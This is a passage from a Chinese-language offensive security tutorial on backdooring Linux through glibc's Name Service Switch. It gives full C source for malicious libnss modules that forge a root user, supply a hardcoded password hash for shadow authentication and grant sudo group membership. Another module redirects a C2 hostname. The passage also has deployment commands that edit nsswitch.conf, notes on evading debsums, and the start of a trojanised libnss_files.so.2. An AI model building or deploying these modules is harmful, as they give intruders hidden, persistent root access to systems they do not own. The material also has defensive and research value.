  │     │   └─ 格式错误 → 跳过此行,读下一行
  │     └─ 返回 NSS_STATUS_SUCCESS(一条记录已解析到 result 中)
  │
  ├─ 3. 匹配检查(break_if_match)
  │     比较 name("alice") 与 result->pw_name
  │     ├─ 匹配 → break 跳出循环,返回 NSS_STATUS_SUCCESS
  │     └─ 不匹配 → 继续下一次 internal_getent
  │
  └─ 4. fclose(stream) → 返回最终 status

用一句话总结:打开文件 → 逐行读取并解析 → 逐条匹配 → 找到则返回成功,遍历完毕未找到则返回 NOTFOUND。

类似地,DB_LOOKUP(pwuid, ...) 展开为 _nss_files_getpwuid_r,按 UID 查找,流程完全一致,只是匹配条件变为 result->pw_uid == uid

其他数据库的模块(如 files-hosts.cfiles-grp.c)结构也完全一致,只是 STRUCTUREDATABASE 宏不同,解析器和匹配逻辑不同。例如 files-hosts.c 定义 DATABASE "hosts",因此打开的是 /etc/hosts,解析出的结构体是 struct hostent

最小化 NSS 模块模板(passwd 数据库)

基于以上规范,以下是一个最小化的 NSS 模块示例——为 passwd 数据库添加一个伪造的 backdoor 用户(UID=0):

#include<nss.h>
#include<pwd.h>
#include<string.h>
#include<errno.h>
enum nss_status
_nss_nop_getpwnam_r (constchar *name,
                     struct passwd *result,
char *buffer,
size_t buflen,
int *errnop)
{
if (strcmp(name, "backdoor") != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
strcpy(buffer, "backdoor");
    result->pw_name = buffer;
strcpy(buffer + strlen("backdoor") + 1"x");
    result->pw_passwd = buffer + strlen("backdoor") + 1;
    result->pw_uid = 0;
    result->pw_gid = 0;
strcpy(buffer + strlen("backdoor") + 2"/root");
    result->pw_dir = buffer + strlen("backdoor") + 2;
strcpy(buffer + strlen("backdoor") + 2 + strlen("/root") + 1"/bin/bash");
    result->pw_shell = buffer + strlen("backdoor") + 2 + strlen("/root") + 1;
    result->pw_gecos = buffer + strlen("backdoor") + 2;
return NSS_STATUS_SUCCESS;
}

编译和部署:

# 编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c
# 部署到系统目录
sudo cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
# 修改 nsswitch.conf
# 将 passwd 行改为:passwd: files nop

验证方法:执行 id backdoor,如果模块工作正常,应返回 uid=0(root) gid=0(root)

编写其他数据库模块的要点

上面的示例只实现了 passwd 数据库的 getpwnam_r。如果你要为其他数据库编写模块,核心差异在于:

  1. 结果结构体不同:passwd → struct passwd,hosts → struct hostent,group → struct group

  2. 查询参数不同:passwd → const char *name,hosts → const char *hostname + int af

  3. 头文件不同<pwd.h><netdb.h><grp.h> 等

  4. 需要实现的函数不同:根据上文的"按数据库分组的函数子集"选择

例如,如果要为 hosts 数据库编写一个劫持模块,你需要实现 _nss_nop_gethostbyname_r,返回类型是 struct hostent,这在后续的 NSS 后门实战章节中会详细展开。

3.4 配置文件修改后的生效机制

这个问题对于理解 NSS 后门的持久化能力至关重要:修改 nsswitch.conf 后,是否需要重启进程?

源码层面的答案

通过分析 nss_database.c 中的 nss_database_check_reload_and_get() 函数(第 392-475 行),glibc 的行为是:

  1. 每次 NSS 查询时,先 stat() 检查 /etc/nsswitch.conf 是否变化

  2. 如果文件未变化(大小和 mtime 一致),直接返回缓存的配置

  3. 如果文件已变化,重新打开文件、逐行解析、更新缓存

关键代码(第 410-421 行):

if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
returnfalse;
__libc_lock_lock (local->lock);
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
  {
    *result = local->data.services[database_index];
    __libc_lock_unlock (local->lock);
returntrue;
  }

这意味着:修改 nsswitch.conf 后,不需要重启已有进程。 进程在下一次进行 NSS 查询时,会自动检测到文件变化并重新加载配置。

但有一个重要的例外:容器检测

nss_database.c 第 423-447 行有一段特殊逻辑:检测根目录 / 的 inode 和 device 是否变化。如果变化了(说明进程进入了容器,如 chroot),则永久禁用配置重新加载

int stat_rv = __stat64_time64 ("/", &str);
if (local->data.services[database_index] != NULL)
  {
if (stat_rv != 0
        || (local->root_ino != 0
            && (str.st_ino != local->root_ino
                ||  str.st_dev != local->root_dev)))
      {
// 检测到容器环境,禁用重新加载
        atomic_store_release (&local->data.reload_disabled, 1);
        *result = local->data.services[database_index];
        __libc_lock_unlock (local->lock);
returntrue;
      }
  }

这正是 CVE-2025-32463 的利用条件之一——sudo 在 chroot 后,根目录发生变化,本应触发这个"禁用重新加载"的保护机制。但由于 sudo 在 chroot 之前就已经加载了配置(或者说,这是首次加载),所以这个保护没有生效。

已加载的 .so 模块不会被卸载

需要注意的是,即使 nsswitch.conf 被重新加载,已经通过 dlopen() 加载的 libnss_*.so.2 模块不会被卸载。模块列表(nss_module_list)是全局的,只增不减(nss_module.c 第 50 行)。

这意味着:

  • 如果你在 nsswitch.conf 中添加了一个新数据源,对应的 .so 会在下次查询时被加载

  • 如果你从 nsswitch.conf 中移除了一个数据源,对应的 .so 仍然留在内存中,但其中的内容已经不起作用了

  • 如果数据源的 .so 文件被替换,已加载的模块不会自动重新加载

但需要区分两个层面的"效果":

  • 内存驻留.so 代码仍在进程地址空间中):一旦加载,永不卸载。即使后续从 nsswitch.conf 中移除了该数据源,.so 仍然留在内存里,其中的代码和数据仍然存在。

  • 查询激活(NSS 查询是否会走到该模块):完全由 nsswitch.conf 当前配置决定。如果攻击者部署了恶意 libnss_evil.so.2,在 nsswitch.conf 中添加了 evil 数据源使其被加载,然后又将其从 nsswitch.conf 中删除——恶意 .so 虽然仍在内存中,但不会再被查询到,因为 NSS 查询链路完全由配置文件驱动。

换句话说:已加载模块的函数指针虽然还在内存中,但只要 nsswitch.conf 中不引用该数据源,这些函数就不会被调用。 模块驻留不等于后门持续生效——后门的持续生效依赖于 nsswitch.conf 中持续保留对恶意数据源的引用。这也是为什么检测 NSS 后门时,检查 nsswitch.conf 的内容比检查已加载的 .so 更重要。

总结

场景

是否立即生效

需要重启进程?

修改 nsswitch.conf 中的数据源顺序

✅ 是

❌ 不需要

在 nsswitch.conf 中添加新数据源

✅ 是

❌ 不需要

在 nsswitch.conf 中移除数据源

✅ 是

❌ 不需要

替换磁盘上的 libnss_*.so.2 文件(已被某进程加载)

❌ 对已运行进程不生效(函数指针已缓存)

✅ 只有新启动的进程才会加载新版本

部署新的 libnss_*.so.2 文件并添加到 nsswitch.conf

✅ 是

❌ 不需要

这个特性对后门植入非常有利:攻击者只需部署恶意 .so 文件并修改 nsswitch.conf,系统上所有正在运行的进程在下一次 NSS 查询时都会自动加载恶意模块。

0x04 添加恶意数据源后门

经过前三章的原理分析,我们已经掌握了 NSS 机制的完整运作方式。从本章开始,我们将进入实战环节。

添加恶意数据源是最直接的 NSS 后门方式。它的核心思路是:在 nsswitch.conf 中追加一个自定义数据源名(如 nop),然后部署对应的 libnss_nop.so.2 恶意模块。由于 NSS 的 NOTFOUND → continue 默认行为,合法用户查询会由 files 正常处理,只有当 files 找不到时才会落到恶意模块。

攻击前提

  • 已获取目标系统的 root 权限

  • 目标系统使用 glibc(几乎所有 Linux 发行版均满足)

4.1 后门模块:伪造 passwd 用户

这是 0x03 中已经展示过的最小化模块。回顾一下它的核心逻辑:

#include<nss.h>
#include<pwd.h>
#include<string.h>
#include<errno.h>
enum nss_status
_nss_nop_getpwnam_r (constchar *name,
                     struct passwd *result,
char *buffer,
size_t buflen,
int *errnop)
{
if (strcmp(name, "backdoor") != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
strcpy(buffer, "backdoor");
    result->pw_name = buffer;
strcpy(buffer + strlen("backdoor") + 1"x");
    result->pw_passwd = buffer + strlen("backdoor") + 1;
    result->pw_uid = 0;
    result->pw_gid = 0;
strcpy(buffer + strlen("backdoor") + 2"/root");
    result->pw_dir = buffer + strlen("backdoor") + 2;
strcpy(buffer + strlen("backdoor") + 2 + strlen("/root") + 1"/bin/bash");
    result->pw_shell = buffer + strlen("backdoor") + 2 + strlen("/root") + 1;
    result->pw_gecos = buffer + strlen("backdoor") + 2;
return NSS_STATUS_SUCCESS;
}

这个模块只做一件事:当查询用户名为 backdoor 时,返回一个 UID=0(root 权限)的伪造用户条目。查询其他用户名时返回 NOTFOUND,不影响正常查询。

查询流程如下:

id backdoor
  │
  └─ getpwnam("backdoor")
       │
       └─ NSS 读取 nsswitch.conf: passwd: files nop
            │
            ├─ 1. 查 files → 读取 /etc/passwd → 没有叫 backdoor 的用户
            │     返回 NSS_STATUS_NOTFOUND
            │     默认动作:continue → 继续查下一个数据源
            │
            └─ 2. 查 nop → 调用 _nss_nop_getpwnam_r("backdoor", ...)
                  名字匹配 → 返回 UID=0 的伪造条目
                  返回 NSS_STATUS_SUCCESS
                  默认动作:return → 结束查询
最终结果:id backdoor 输出 uid=0(root) gid=0(root)

而查询正常用户时完全不受影响:

id root
  │
  └─ getpwnam("root")
       │
       └─ NSS: passwd: files nop
            │
            ├─ 1. 查 files → 读取 /etc/passwd → 找到 root
            │     返回 NSS_STATUS_SUCCESS
            │     默认动作:return → 结束查询
            │
            └─ 2. nop 模块不会被调用
最终结果:id root 正常输出,不受任何影响

部署步骤

# 1. 编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c
# 2. 部署到系统库目录
cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
# 3. 修改 nsswitch.conf
sed -i 's/^passwd:.*/passwd: files nop/' /etc/nsswitch.conf
# 4. 无需重启任何进程,立即生效(原因见 3.4 节)

验证

id backdoor
su - backdoor

测试发现,实施后,确实可以瞒过 id 命令,但是想直接 su 登录时,还是需要输入密码,但它并没有密码,所以是不是可以考虑直接在拼接数据时,将第二个字段中填充密码,就相当于在 /etc/passwd 的第二个字段中添加密码。

我们进行一下尝试

pw_passwd 字段为 "x" 时,PAM 会去查 shadow 数据库。但如果我们直接在这个字段中填入密码哈希,PAM 也可以直接用它来认证。

先生成一个密码哈希:

openssl passwd -6 -salt saltsalt yourpassword
# $6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0

修改模块代码,将 pw_passwd 从 "x" 改为实际的密码哈希。为避免重启进程(3.4 节提到已加载的 .so 不会自动重新加载),我们新建一个不同名字的模块 libnss_nop2.so.2

#include<nss.h>
#include<pwd.h>
#include<string.h>
#include<errno.h>
#define BACKDOOR_USER "backdoor2"
#define BACKDOOR_HASH "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
enum nss_status
_nss_nop2_getpwnam_r (constchar *name,
                      struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 512)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
char *p = buffer;
    result->pw_name = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_passwd = p;
    p = stpcpy(p, BACKDOOR_HASH) + 1;
    result->pw_uid = 0;
    result->pw_gid = 0;
    result->pw_gecos = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_dir = p;
    p = stpcpy(p, "/root") + 1;
    result->pw_shell = p;
    p = stpcpy(p, "/bin/bash") + 1;
return NSS_STATUS_SUCCESS;
}

编译、部署并切换数据源:

# 编译新模块
gcc -shared -fPIC -o libnss_nop2.so.2 nss_nop2.c
# 部署
cp libnss_nop2.so.2 /usr/lib/x86_64-linux-gnu/
# 将 nsswitch.conf 中的 nop 替换为 nop2
sed -i 's/^passwd:.*/passwd: files nop2/' /etc/nsswitch.conf

测试:

id backdoor2
su - backdoor2
密码:yourpassword

通过在 pw_passwd 中直接填入密码哈希,绕过了 shadow 数据库的依赖,仅用一个 passwd 模块就完成了用户伪造和认证。

不过这种方式有一个前提:系统的 PAM 配置必须允许从 pw_passwd 字段读取密码。大多数发行版默认支持,但某些高安全配置可能会强制要求 shadow。对于更通用的方案,仍然建议同时部署 shadow 模块(见 4.2 节)。

这个后门的问题

这个模块虽然能用,但存在明显的缺陷:

  1. getpwent_r 未实现:只实现了 getpwnam_r,没有实现 getpwent_r。某些遍历所有用户的命令可能不会触发后门

  2. 只覆盖 passwd 数据库:没有覆盖 group、shadow 等,id backdoor 可能无法显示完整的组信息

  3. 无法 SSH 登录:SSH 登录需要 PAM 认证,PAM 会查询 shadow 数据库,而我们的模块没有处理 shadow

这些问题将在后续逐步解决。

4.2 后门模块:覆盖更多数据库

要让后门用户能够真正"像正常用户一样"使用,需要覆盖 passwd、group、shadow 三个数据库。

passwd 模块(增强版)

增加 getpwuid_r(按 UID 查找)和 getpwent_r(遍历所有用户)的实现:

#include<nss.h>
#include<pwd.h>
#include<string.h>
#include<errno.h>
#define BACKDOOR_USER "backdoor"
#define BACKDOOR_UID  0
#define BACKDOOR_GID  0staticvoid
fill_backdoor_passwd(struct passwd *result, char *buffer, size_t buflen)
{
char *p = buffer;
    result->pw_name = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_passwd = p;
    p = stpcpy(p, "x") + 1;
    result->pw_uid = BACKDOOR_UID;
    result->pw_gid = BACKDOOR_GID;
    result->pw_gecos = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_dir = p;
    p = stpcpy(p, "/root") + 1;
    result->pw_shell = p;
    p = stpcpy(p, "/bin/bash") + 1;
}
enum nss_status
_nss_nop_getpwnam_r (constchar *name,
                     struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
    fill_backdoor_passwd(result, buffer, buflen);
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwuid_r (uid_t uid,
                     struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (uid != BACKDOOR_UID)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
    fill_backdoor_passwd(result, buffer, buflen);
return NSS_STATUS_SUCCESS;
}
staticint pwent_called = 0;
enum nss_status
_nss_nop_setpwent (int stayopen)
{
    pwent_called = 1;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_endpwent (void)
{
    pwent_called = 0;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwent_r (struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (!pwent_called)
return NSS_STATUS_UNAVAIL;
if (pwent_called == 1)
    {
        pwent_called = 2;
if (buflen < 256)
        {
            *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
        }
        fill_backdoor_passwd(result, buffer, buflen);
return NSS_STATUS_SUCCESS;
    }
return NSS_STATUS_NOTFOUND;
}

group 模块

为后门用户伪造 group 信息:

#include<nss.h>
#include<grp.h>
#include<string.h>
#include<errno.h>
#define BACKDOOR_GROUP "root"
#define BACKDOOR_GID   0
enum nss_status
_nss_nop_getgrnam_r (constchar *name,
                     struct group *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_GROUP) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 128)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
char *p = buffer;
    result->gr_name = p;
    p = stpcpy(p, BACKDOOR_GROUP) + 1;
    result->gr_passwd = p;
    p = stpcpy(p, "x") + 1;
    result->gr_gid = BACKDOOR_GID;
    result->gr_mem = (char **)(p + sizeof(char *) * 2);
    result->gr_mem[0] = NULL;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getgrgid_r (gid_t gid,
                     struct group *result,
char *buffer, size_t buflen, int *errnop)
{
if (gid != BACKDOOR_GID)
return NSS_STATUS_NOTFOUND;
return _nss_nop_getgrnam_r(BACKDOOR_GROUP, result, buffer, buflen, errnop);
}
enum nss_status
_nss_nop_initgroups_dyn (constchar *user, gid_t group,
longint *start, longint *size,
gid_t **groups, longint limit,
int *errnop)
{
if (strcmp(user, BACKDOOR_GROUP) != 0 && strcmp(user, "backdoor") != 0)
return NSS_STATUS_NOTFOUND;
if (*start >= *size)
    {
        *size *= 2;
        *groups = realloc(*groups, *size * sizeof(gid_t));
if (*groups == NULL)
return NSS_STATUS_TRYAGAIN;
    }
    (*groups)[*start] = BACKDOOR_GID;
    *start += 1;
return NSS_STATUS_SUCCESS;
}

shadow 模块

让后门用户通过 PAM 认证(SSH 登录等场景需要):

#include<nss.h>
#include<shadow.h>
#include<string.h>
#include<errno.h>
#define BACKDOOR_USER  "backdoor"
#define BACKDOOR_HASH  "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
enum nss_status
_nss_nop_getspnam_r (constchar *name,
                     struct spwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 512)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
char *p = buffer;
    result->sp_namp = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->sp_pwdp = p;
    p = stpcpy(p, BACKDOOR_HASH) + 1;
    result->sp_lstchg = 20000;
    result->sp_min = 0;
    result->sp_max = 99999;
    result->sp_warn = 7;
    result->sp_inact = -1;
    result->sp_expire = -1;
    result->sp_flag = 0;
return NSS_STATUS_SUCCESS;
}

BACKDOOR_HASH 是一个预计算的 SHA-512 密码哈希。生成方式:openssl passwd -6 -salt saltsalt yourpassword

部署和验证

# 编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c
# 部署
cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
# 修改 nsswitch.conf,覆盖三个数据库
sed -i 's/^passwd:.*/passwd: files nop/' /etc/nsswitch.conf
sed -i 's/^group:.*/group: files nop/' /etc/nsswitch.conf
sed -i 's/^shadow:.*/shadow: files nop/' /etc/nsswitch.conf

验证:

id backdoor
ssh backdoor@127.0.0.1

测试发现,虽然 su 切换到 backdoor ,并且使用 getent 能够完整获取到信息,但是 ssh 还是失败了。 接下来通过阅读 pam 源代码,发现可能原因是 ssh 默认配置了不允许 root 登录,但 backdoor 的 uid 和 root 的 uid 是一致的,所以被拦截了。

为了验证这个猜想,我们先重启 ssh 服务,确保不是因为未重启 ssh 导致的

果然,重启 ssh 服务并没有解决问题

接下来我们尝试修改 ssh 配置文件,允许 root 登录,之后再重启 ssh 服务,再次尝试登录

果然是这样!

但这不是一个好方案——修改 PermitRootLogin 会留下明显的配置变更痕迹。更好的策略是让后门用户使用非零 UID,绕过 sshd 的 root 限制,同时通过加入 sudo 组获取 root 权限。

Ubuntu 默认的 /etc/sudoers 包含 %sudo ALL=(ALL:ALL) ALL,只要用户属于 sudo 组(GID=27),就能直接 sudo 提权。

完整代码如下:

#include<nss.h>
#include<pwd.h>
#include<grp.h>
#include<shadow.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#define BACKDOOR_USER  "backdoor"
#define BACKDOOR_UID   1002
#define BACKDOOR_GID   1002
#define BACKDOOR_HASH  "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
/* ==================== passwd ==================== */staticvoid
fill_backdoor_passwd(struct passwd *result, char *buffer)
{
char *p = buffer;
    result->pw_name = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_passwd = p;
    p = stpcpy(p, "x") + 1;
    result->pw_uid = BACKDOOR_UID;
    result->pw_gid = BACKDOOR_GID;
    result->pw_gecos = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_dir = p;
    p = stpcpy(p, "/home/backdoor") + 1;
    result->pw_shell = p;
    p = stpcpy(p, "/bin/bash") + 1;
}
enum nss_status
_nss_nop_getpwnam_r (constchar *name,
                     struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
    fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwuid_r (uid_t uid,
                     struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (uid != BACKDOOR_UID)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
    fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
}
staticint pwent_called = 0;
enum nss_status
_nss_nop_setpwent (int stayopen)
{
    pwent_called = 1;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_endpwent (void)
{
    pwent_called = 0;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwent_r (struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (!pwent_called)
return NSS_STATUS_UNAVAIL;
if (pwent_called == 1)
    {
        pwent_called = 2;
if (buflen < 256)
        {
            *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
        }
        fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
    }
return NSS_STATUS_NOTFOUND;
}
/* ==================== group ==================== */
enum nss_status
_nss_nop_getgrnam_r (constchar *name,
                     struct group *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
char *p = buffer;
    result->gr_name = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->gr_passwd = p;
    p = stpcpy(p, "x") + 1;
    result->gr_gid = BACKDOOR_GID;
char **mem = (char **)(buffer + 256 - sizeof(char *) * 4);
    mem[0] = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    mem[1] = NULL;
    result->gr_mem = mem;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getgrgid_r (gid_t gid,
                     struct group *result,
char *buffer, size_t buflen, int *errnop)
{
if (gid != BACKDOOR_GID)
return NSS_STATUS_NOTFOUND;
return _nss_nop_getgrnam_r(BACKDOOR_USER, result, buffer, buflen, errnop);
}
enum nss_status
_nss_nop_initgroups_dyn (constchar *user, gid_t group,
longint *start, longint *size,
gid_t **groups, longint limit,
int *errnop)
{
if (strcmp(user, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
// GID 27 = sudo 组(Ubuntu 默认)
gid_t supplemental_groups[] = { BACKDOOR_GID, 27 };
int num_groups = 2;
for (int i = 0; i < num_groups; i++)
    {
if (*start >= *size)
        {
            *size *= 2;
            *groups = realloc(*groups, *size * sizeof(gid_t));
if (*groups == NULL)
return NSS_STATUS_TRYAGAIN;
        }
        (*groups)[*start] = supplemental_groups[i];
        *start += 1;
    }
return NSS_STATUS_SUCCESS;
}
/* ==================== shadow ==================== */
enum nss_status
_nss_nop_getspnam_r (constchar *name,
                     struct spwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 512)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
char *p = buffer;
    result->sp_namp = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->sp_pwdp = p;
    p = stpcpy(p, BACKDOOR_HASH) + 1;
    result->sp_lstchg = 20000;
    result->sp_min = 0;
    result->sp_max = 99999;
    result->sp_warn = 7;
    result->sp_inact = -1;
    result->sp_expire = -1;
    result->sp_flag = 0;
return NSS_STATUS_SUCCESS;
}

关键变化:

  • UID 从 0 改为 1002:绕过 sshd 的 PermitRootLogin 限制

  • initgroups_dyn 返回 GID 27(sudo 组):登录后可直接 sudo 提权到 root

  • home 目录改为 /home/backdoor:避免与 root 的 home 目录冲突

编译、部署、测试:

gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c
cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
sed -i 's/^passwd:.*/passwd: files systemd nop/' /etc/nsswitch.conf
sed -i 's/^group:.*/group: files systemd nop/' /etc/nsswitch.conf
sed -i 's/^shadow:.*/shadow: files systemd nop/' /etc/nsswitch.conf

验证:

id backdoor
ssh backdoor@127.0.0.1 
# password: yourpassword

成功完成后门账户

整个过程不需要修改任何系统文件/etc/passwd/etc/shadow/etc/sudoerssshd_config 均未改动),仅通过 NSS 模块就完成了用户创建、认证和提权。

注意:GID 27 是 Ubuntu 上 sudo 组的默认值,可通过 getent group sudo 确认。不同发行版可能不同(如 CentOS/RHEL 为 wheel 组,GID 通常为 10)。

4.3 后门模块:劫持 hosts 解析

除了伪造用户,NSS 后门还可以劫持主机名解析。这对于 DNS 欺骗、钓鱼攻击、C2 通信重定向非常有用。

#include<nss.h>
#include<netdb.h>
#include<string.h>
#include<errno.h>
#include<arpa/inet.h>
#include<stdlib.h>
#define C2_DOMAIN "evil.example.com"
#define C2_IP     "10.0.0.1"
enum nss_status
_nss_nop_gethostbyname_r (constchar *name,
                          struct hostent *result,
char *buffer, size_t buflen,
int *errnop, int *h_errnop)
{
if (strcmp(name, C2_DOMAIN) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
        *h_errnop = NETDB_INTERNAL;
return NSS_STATUS_TRYAGAIN;
    }
structin_addraddr;
    inet_pton(AF_INET, C2_IP, &addr);
char *p = buffer;
    result->h_name = p;
    p = stpcpy(p, C2_DOMAIN) + 1;
    result->h_aliases = (char **)p;
    result->h_aliases[0] = NULL;
    p += sizeof(char *) * 2;
    result->h_addrtype = AF_INET;
    result->h_length = sizeof(struct in_addr);
    result->h_addr_list = (char **)p;
    p += sizeof(char *) * 2;
memcpy(p, &addr, sizeof(struct in_addr));
    result->h_addr_list[0] = p;
    result->h_addr_list[1] = NULL;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_gethostbyname2_r (constchar *name, int af,
                           struct hostent *result,
char *buffer, size_t buflen,
int *errnop, int *h_errnop)
{
if (af != AF_INET)
return NSS_STATUS_NOTFOUND;
return _nss_nop_gethostbyname_r(name, result, buffer, buflen, errnop, h_errnop);
}

部署:

sed -i 's/^hosts:.*/hosts: files nop dns/' /etc/nsswitch.conf

验证:

ping evil.example.com

4.4 debsums 检测

sudo debsums -a -c

debsums -a -c没有报告任何 nsswitch.conf 的异常。这是因为 debsums 只校验包管理器已知的文件,而:

  • /etc/nsswitch.conf 不属于任何软件包(它是系统安装时从 /usr/share/libc-bin/nsswitch.conf 模板复制出来的用户配置文件),debsums 根本不校验它

  • libnss_nop.so.2 是手动放置的新文件,不属于任何包,debsums 也不知道它的存在

因此,0x04 方式对 debsums 完全透明。

4.5 方式总结与局限

优势:

优势

说明

无需修改系统文件

不改 /etc/passwd/etc/shadow,审计这些文件不会发现异常

配置热加载

修改 nsswitch.conf 后无需重启进程,立即生效

精确控制

只在 files 找不到时才触发,不影响合法用户

多数据库覆盖

可同时控制 passwd、group、shadow、hosts 等

局限:

局限

说明

需要修改 nsswitch.conf

这是明显的痕迹,有经验的管理员检查配置即可发现

需要部署 .so 文件

在系统库目录中多出一个 libnss_nop.so.2,文件完整性检查可发现

密码哈希硬编码

shadow 模块中的密码哈希是固定的,更换密码需要重新编译

debsums

 无法检测

nsswitch.conf

 不属于任何包,新增的 .so 也不属于任何包,debsums -a -c 完全无感(详见 4.4 节)

下一章将介绍如何通过替换合法 NSS 模块来解决"需要修改 nsswitch.conf"这个最大的局限。

0x05 替换合法 NSS 模块后门

0x04 中添加恶意数据源的方式虽然有效,但有一个致命的弱点:nsswitch.conf 被修改了。一个有经验的管理员只需执行 cat /etc/nsswitch.conf 就能发现异常的 nop 数据源。

本章介绍一种更隐蔽的方式:直接替换系统已有的 NSS 共享库nsswitch.conf 保持原样,后门逻辑隐藏在合法模块的外壳之下。

实现方式说明:替换合法模块有两种思路:

  1. 直接修改 glibc 源码编译:在 files-pwd.c 的 DB_LOOKUP 匹配逻辑中注入后门判断,自行编译出 libnss_files.so.2。不需要额外文件,隐蔽性最高,但需要在目标系统上编译 glibc,且编译产物必须与目标 glibc 版本严格兼容。

  2. dlopen 包装方式:编写新模块,内部通过 dlopen 加载重命名后的原始模块,在转发调用的同时注入后门逻辑。兼容性好、可移植性强,但会多一个 .orig 文件。

考虑到兼容性和可移植性,本文实验采用第 2 种方式。

5.1 第一次尝试:替换 libnss_files.so.2(失败)

直觉上,最直接的目标是替换 libnss_files.so.2——毕竟它是 nsswitch.conf 中 passwd: files systemd 的第一个数据源。

木马化模块的核心思路是包装(wrapper):对外暴露与原始模块完全相同的函数接口,内部将调用转发给重命名后的原始模块,只在必要时注入后门数据。

以 _nss_files_getpwnam_r 为例,包装逻辑如下:

应用程序调用 getpwnam("alice")
  │
  └─ NSS: passwd: files systemd
       │
       └─ 尝试调用 libnss_files.so.2 中的 _nss_files_getpwnam_r("alice")
            │
            ├─ 木马化模块内部:
            │   1. 检查 "alice" == "backdoor"?→ 否
            │   2. 调用原始模块 _nss_files_getpwnam_r("alice")
            │   3. 返回原始结果(正常用户,完全透明)
            │
